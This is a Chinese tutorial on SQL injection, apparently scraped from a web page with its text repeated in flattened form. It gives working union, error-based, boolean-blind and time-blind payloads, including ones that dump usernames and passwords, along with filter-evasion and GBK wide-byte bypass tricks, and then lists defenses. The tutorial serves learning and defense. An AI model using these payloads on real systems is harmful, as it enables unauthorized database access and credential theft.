SQL注入
字数 1349 2025-08-22 12:23:41

SQL注入攻击全面解析与防御指南

1. SQL注入概述

SQL注入(SQL Injection)是一种常见的Web安全漏洞,主要原因是Web应用程序在接收数据参数时未做好过滤,直接将用户输入带入数据库查询,导致攻击者可以构造并执行恶意SQL语句。

SQL(结构化查询语言)是关系型数据库的标准编程语言,用于存取数据以及查询、更新、删除和管理关系型数据库。

2. SQL注入类型与攻击技术

2.1 联合查询注入(Union注入)

?id=-1' union select 1,(select database()),'3' limit 0,1

关键点:

  • 使用-1确保第一个SELECT无结果,使第二个SELECT结果能显示
  • union select合并查询结果
  • limit 0,1限制返回结果数量

信息收集步骤:

  1. 获取所有数据库:
    ?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),'3
    
  2. 查看特定数据库的表:
    ?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3
    
  3. 查看表的所有列:
    ?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),'3
    
  4. 获取数据内容:
    ?id=-1' union select 1,(select group_concat(username,0x3a,password) from users),'3
    

2.2 报错注入

extractValue()报错注入

1'||extractvalue(1,concat(0x7e,database()))||'1'='1

updatexml报错注入

updatexml(1,concat(0x7e,(select database())),1)

floor报错注入

and (select 1 from (select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a)

关键函数:

  • rand(): 随机返回0~1之间的小数
  • floor(): 小数向下取整数
  • ceiling(): 小数向上取整数
  • concat_ws(): 将括号内数据用第一个字段连接起来
  • group_concat(): 将多行结果合并为一行

2.3 布尔盲注

当页面没有报错回显,只有True/False两种响应时使用。

技术要点:

  • 使用ascii()函数将字符转换为ASCII码
  • 使用substr()函数逐字符判断
  • 通过比较ASCII值范围确定字符
?id=1' and ascii(substr('语句',1,1))>97 --+

ASCII表关键值:

  • 0-31: 控制字符
  • 32: 空格
  • 48-57: 数字0-9
  • 65-90: 大写字母A-Z
  • 97-122: 小写字母a-z

2.4 时间盲注

当页面无报错、无回显、无真假值,只有正常页面响应时使用。

关键函数:

  • sleep(): 参数为休眠时长(秒)
  • if(condition,true,false): 条件判断
1' and if(ascii(substr((select database()),1,1))>100,sleep(0),sleep(3)) # 

3. SQL注入过滤绕过技术

3.1 注释符绕过

un/**/ion

3.2 大小写绕过

uNion seLect

3.3 复写单词绕过

ununionion seleselectct

3.4 空格过滤绕过

  • +号代替空格
  • 使用报错注入(无空格)
  • 使用注释符/**/代替空格

3.5 and和or过滤绕过

  • 使用&&代替and(URL编码为%26%26)
  • 使用||代替or

3.6 宽字节注入绕过

前提: 数据库使用GBK编码

原理: 利用GBK编码特性,使反斜杠\与后续字符组合成有效汉字,从而绕过addslashes()等转义函数。

?id=1%df' and 1=1 --+

addslashes()函数会在单引号前添加反斜杠,但在GBK编码中,%df'会被识别为一个汉字,使单引号逃逸。

4. 防御措施

  1. 参数化查询(预编译语句)

    • 使用预处理语句绑定参数
    • 避免SQL语句拼接
  2. 输入验证与过滤

    • 白名单验证输入格式
    • 对特殊字符进行转义
  3. 最小权限原则

    • 数据库账户使用最小必要权限
    • 避免使用root或高权限账户
  4. 错误处理

    • 自定义错误页面
    • 避免泄露数据库错误信息
  5. 安全编码实践

    • 使用ORM框架
    • 定期安全审计
    • 使用Web应用防火墙(WAF)
  6. 编码设置

    • 统一使用UTF-8编码
    • 避免宽字节注入漏洞

通过全面理解SQL注入原理、攻击技术和防御措施,开发人员可以构建更安全的Web应用程序,有效防范此类安全威胁。

SQL注入攻击全面解析与防御指南 1. SQL注入概述 SQL注入(SQL Injection)是一种常见的Web安全漏洞,主要原因是Web应用程序在接收数据参数时未做好过滤,直接将用户输入带入数据库查询,导致攻击者可以构造并执行恶意SQL语句。 SQL(结构化查询语言)是关系型数据库的标准编程语言,用于存取数据以及查询、更新、删除和管理关系型数据库。 2. SQL注入类型与攻击技术 2.1 联合查询注入(Union注入) 关键点: 使用 -1 确保第一个SELECT无结果,使第二个SELECT结果能显示 union select 合并查询结果 limit 0,1 限制返回结果数量 信息收集步骤: 获取所有数据库: 查看特定数据库的表: 查看表的所有列: 获取数据内容: 2.2 报错注入 extractValue()报错注入 updatexml报错注入 floor报错注入 关键函数: rand() : 随机返回0~1之间的小数 floor() : 小数向下取整数 ceiling() : 小数向上取整数 concat_ws() : 将括号内数据用第一个字段连接起来 group_concat() : 将多行结果合并为一行 2.3 布尔盲注 当页面没有报错回显,只有True/False两种响应时使用。 技术要点: 使用 ascii() 函数将字符转换为ASCII码 使用 substr() 函数逐字符判断 通过比较ASCII值范围确定字符 ASCII表关键值: 0-31: 控制字符 32: 空格 48-57: 数字0-9 65-90: 大写字母A-Z 97-122: 小写字母a-z 2.4 时间盲注 当页面无报错、无回显、无真假值,只有正常页面响应时使用。 关键函数: sleep() : 参数为休眠时长(秒) if(condition,true,false) : 条件判断 3. SQL注入过滤绕过技术 3.1 注释符绕过 3.2 大小写绕过 3.3 复写单词绕过 3.4 空格过滤绕过 用 + 号代替空格 使用报错注入(无空格) 使用注释符 /**/ 代替空格 3.5 and和or过滤绕过 使用 && 代替 and (URL编码为 %26%26 ) 使用 || 代替 or 3.6 宽字节注入绕过 前提: 数据库使用GBK编码 原理: 利用GBK编码特性,使反斜杠 \ 与后续字符组合成有效汉字,从而绕过 addslashes() 等转义函数。 addslashes() 函数会在单引号前添加反斜杠,但在GBK编码中, %df' 会被识别为一个汉字,使单引号逃逸。 4. 防御措施 参数化查询(预编译语句) 使用预处理语句绑定参数 避免SQL语句拼接 输入验证与过滤 白名单验证输入格式 对特殊字符进行转义 最小权限原则 数据库账户使用最小必要权限 避免使用root或高权限账户 错误处理 自定义错误页面 避免泄露数据库错误信息 安全编码实践 使用ORM框架 定期安全审计 使用Web应用防火墙(WAF) 编码设置 统一使用UTF-8编码 避免宽字节注入漏洞 通过全面理解SQL注入原理、攻击技术和防御措施,开发人员可以构建更安全的Web应用程序,有效防范此类安全威胁。